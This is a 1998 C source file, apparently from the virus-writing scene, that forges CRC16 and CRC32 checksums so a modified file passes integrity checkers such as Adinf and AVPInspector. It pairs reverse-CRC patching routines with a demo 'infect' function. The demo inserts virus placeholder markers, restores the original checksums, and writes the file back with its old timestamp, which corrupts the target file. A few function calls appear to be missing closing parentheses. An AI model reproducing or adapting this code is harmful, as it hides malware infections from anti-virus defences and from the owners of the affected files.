// Title      : How to fuck CRC16, CRC32, CRC48 for Adinf, AVPInspector, etc.
// Status     : Freeware
// Author     : Zhengxi
// Compiler   : Watcom C 10.0b
// Target     : Win32 console application
// Libraries  : Nothing
// StartWork  : 08.12.98
// LastChange : 10.12.98

#include <io.h>
#include <fcntl.h>
#include <stdio.h>
#include <malloc.h>
#include <time.h>
#include <dos.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>


#define MAGIC16    0xA001
#define MAGIC32    0xEDB88320


#ifdef __INLINE_FUNCTIONS__

unsigned long xcrc16( unsigned char *ptr,
		      unsigned long  size,
		      unsigned long  crc );

unsigned long rcrc16( unsigned char *ptr,
		      unsigned long  size,
		      unsigned long  crc );

unsigned long xcrc32( unsigned char *ptr,
		      unsigned long  size,
		      unsigned long  crc );

unsigned long rcrc32( unsigned char *ptr,
		      unsigned long  size,
		      unsigned long  crc );

#pragma aux xcrc16 = \
"     jecxz @@4        "\
"@@1: xor   al, [edx]  "\
"     inc   edx        "\
"     mov   bl, 8      "\
"@@2: shr   eax, 1     "\
"     jnc   @@3        "\
"     xor   ax, 0xA001 "\
"@@3: dec   bl         "\
"     jnz   @@2        "\
"     loop  @@1        "\
"@@4:                  " parm [edx][ecx][eax] value [eax] modify [ebx];

#pragma aux rcrc16 = \
"     jecxz @@4        "\
"@@1: xor   ah, [edx][ecx-1] "\
"     mov   bl, 8      "\
"@@2: shl   ax, 1      "\
"     jnc   @@3        "\
"     xor   ax, 0x4003 "\
"@@3: dec   bl         "\
"     jnz   @@2        "\
"     loop  @@1        "\
"@@4:                  " parm [edx][ecx][eax] value [eax] modify [ebx];

#pragma aux xcrc32 = \
"     jecxz @@4        "\
"     not   eax        "\
"@@1: xor   al, [edx]  "\
"     inc   edx        "\
"     mov   bl, 8      "\
"@@2: shr   eax, 1     "\
"     jnc   @@3        "\
"     xor   eax, 0xEDB88320 "\
"@@3: dec   bl         "\
"     jnz   @@2        "\
"     loop  @@1        "\
"     not   eax        "\
"@@4:                  " parm [edx][ecx][eax] value [eax] modify [ebx];

#pragma aux rcrc32 = \
"     jecxz @@4        "\
"     not   eax        "\
"@@1: movzx ebx, [edx][ecx-1] "\
"     shl   ebx, 24    "\
"     xor   eax, ebx   "\
"     mov   bl, 8      "\
"@@2: shl   eax, 1     "\
"     jnc   @@3        "\
"     xor   eax, 0xDB710641 "\
"@@3: dec   bl         "\
"     jnz   @@2        "\
"     loop  @@1        "\
"     not   eax        "\
"@@4:                  " parm [edx][ecx][eax] value [eax] modify [ebx];

#else // __INLINE_FUNCTIONS__

unsigned long xcrc16( unsigned char *ptr,
		      unsigned long  size,
		      unsigned long  crc )
{
    while(size-- != 0)
    {
	unsigned long i;
	unsigned long c=*ptr++;
	for( i=0; i<8; i++)
	{
	    if( (crc^c)&1 )
		crc = (crc>>1) ^ MAGIC16;
	    else
		crc = (crc>>1);
	    c>>=1;
	}
    }
    return crc & 0x0000FFFF;
}

unsigned long rcrc16( unsigned char *ptr,
		      unsigned long  size,
		      unsigned long  crc )
{
    while(size-- != 0)
    {
	unsigned long i;
	unsigned long c=ptr[size]<<8;
	for( i=0; i<8; i++)
	{
	    if( (crc^c)&0x8000 )
		crc = (crc<<1) ^ ((MAGIC16<<1)^1);
	    else
		crc = (crc<<1);
	    c<<=1;
	}
    }
    return crc & 0x0000FFFF;
}

unsigned long xcrc32( unsigned char *ptr,
		      unsigned long  size,
		      unsigned long  crc )
{
    crc = ~crc;
    while(size-- != 0)
    {
	unsigned long i;
	unsigned long c = *ptr++;
	for( i=0; i<8; i++)
	{
	    if (((crc^c)&1)!=0)
		crc = (crc>>1) ^ MAGIC32;
	    else
		crc = (crc>>1);
	    c>>=1;
	}
    }
    return ~crc;
}

unsigned long rcrc32( unsigned char *ptr,
		      unsigned long  size,
		      unsigned long  crc )
{
    crc = ~crc;
    while(size-- != 0)
    {
	unsigned long i;
	unsigned long c = ptr[size]<<24;
	for( i=0; i<8; i++)
	{
	    if (((crc^c)&0x80000000)!=0)
		crc = (crc<<1) ^ ((MAGIC32<<1)^1);
	    else
		crc = (crc<<1);
	    c<<=1;
	}
    }
    return ~crc;
}

#endif // __INLINE_FUNCTIONS__

void fuckcrc16( unsigned char *ptr,
		unsigned long  size,
		unsigned long  offset,
		unsigned long  wantcrc,
		unsigned long  crc )
{
    *(unsigned short*)(ptr+offset) = xcrc16( ptr, offset, crc ) ^
     rcrc16( ptr+2+offset, size-(2+offset), rcrc16( (void*)&wantcrc, 2, 0
 );
}


void fuckcrc32( unsigned char *ptr,
		unsigned long  size,
		unsigned long  offset,
		unsigned long  wantcrc,
		unsigned long  crc )
{
    *(unsigned long*)(ptr+offset) = xcrc32( ptr, offset, crc ) ^
     rcrc32( ptr+4+offset, size-(4+offset), rcrc32( (void*)&wantcrc, 4, 0
 );
}

void fuckcrc48( unsigned char *ptr,
		unsigned long  size,
		unsigned long  offset,
		unsigned long  wantcrc16,
		unsigned long  wantcrc32,
		unsigned long  crc16,
		unsigned long  crc32 )
{
    unsigned i;

    crc16 =  xcrc16( ptr, offset, crc16 );
    crc32 =  xcrc32( ptr, offset, crc32 );
    ptr+=offset;

    for( i=size-1-offset; i>=6; i--)
	wantcrc16 = rcrc16( "\x00", 1, wantcrc16 ) ^ ptr[i];

    wantcrc32 = rcrc32( ptr+6, size-(6+offset),
			 rcrc32( (void*)&wantcrc32, 4, 0 ) );

    for( *(unsigned short*)ptr=0; ;
	 (*(unsigned short*)ptr)++ )
    {
	*(unsigned long*)(ptr+2) = wantcrc32 ^
	    xcrc32( ptr, 2, crc32 );

	if( xcrc16( ptr, 6, crc16 )==wantcrc16 )
	    break;
    }
}

//--example-------------------------------------------------------------
#define FUCK16
#define FUCK32
#define VERIFY

void printcrcs( char*ptr, int len )
{
    printf("CRC16=%.4X CRC32=%.8X\n", xcrc16(ptr,len,0), xcrc32(ptr,len,0) );
}


unsigned char* infect( unsigned char* original, unsigned long size )
{
    unsigned long i;
    unsigned char* infected = malloc( size );
    assert( infected );
    memcpy( infected, original, size );

    memcpy( infected,		"(---------jmp-to-virus---------)", 0x20 );
    memcpy( infected+size-0x80, "(----------virus-body---------->", 0x20 );
    for( i=size-0x60; i<size-0x20; i++)
	infected[i] = rand();
    memcpy( infected+size-0x20, "<----------virus-body----------)", 0x20 );
    return infected;
}


void main(int argc, char**argv)
{
    unsigned char *infected, *original;
    unsigned long size, offset;
    unsigned long crc16, crc32;


    srand(time(0));

    if( argc==1 )
    {
	unsigned long i;
	printf( " Filename        : random array in memory\n" );
	size = 0x100 +	rand()*32 + rand();
	original = malloc(size);
	assert( original );
	for( i=0; i<size; i++)
	    original[i] = rand();
    } else {
	int handle = open( argv[1], O_RDONLY | O_BINARY, 0 );
	assert( handle>0 );

	printf( " Filename        : %s\n", argv[1] );

	size = filelength( handle );
	original = malloc( size );
	assert( original );

	read( handle, original, size );
	close( handle );
    }

    do
	offset = rand();
    while( 0x20>offset || offset>size-0x86 );

    printf( " Filesize        : %d bytes\n", size );
    printf( " Patch offset    : %d\n", offset );

    crc16 = xcrc16( original, size, 0 );
    crc32 = xcrc32( original, size, 0 );
    printf( " Original file   : CRC16=%.4X CRC32=%.8X\n", crc16, crc32 );


    infected = infect( original, size );
#if defined(VERIFY)
    printf(" Infected file 1 : "); printcrcs( infected, size );
#endif // VERIFY

    // restore crc
#if defined(FUCK16) && defined(FUCK32)
    fuckcrc48( infected, size, offset, crc16, crc32, 0, 0 );
#elif defined(FUCK16)
    fuckcrc16( infected, size, offset, crc16, 0 );
#elif defined(FUCK32)
    fuckcrc32( infected, size, offset, crc32, 0 );
#else
#   error
#endif

#if defined(VERIFY)
    printf(" Infected file 2 : "); printcrcs( infected, size );
#if defined(FUCK16)
    assert( crc16 == xcrc16( original, size, 0 ) );
#endif // FUCK16
#if defined(FUCK32)
    assert( crc32 == xcrc32( original, size, 0 ) );
#endif // FUCK32
#endif // VERIFY

    if( argc!=1 )
    {
	unsigned short ftime, fdate;
	int handle = open( argv[1], O_WRONLY | O_CREAT | O_TRUNC | O_BINARY,
			   S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP );
	assert( handle>0 );
	_dos_getftime( handle, &fdate, &ftime );
	write( handle, infected, size );
	_dos_setftime( handle, fdate, ftime );
	close( handle );
    }
    free( infected );

    free( original );
}


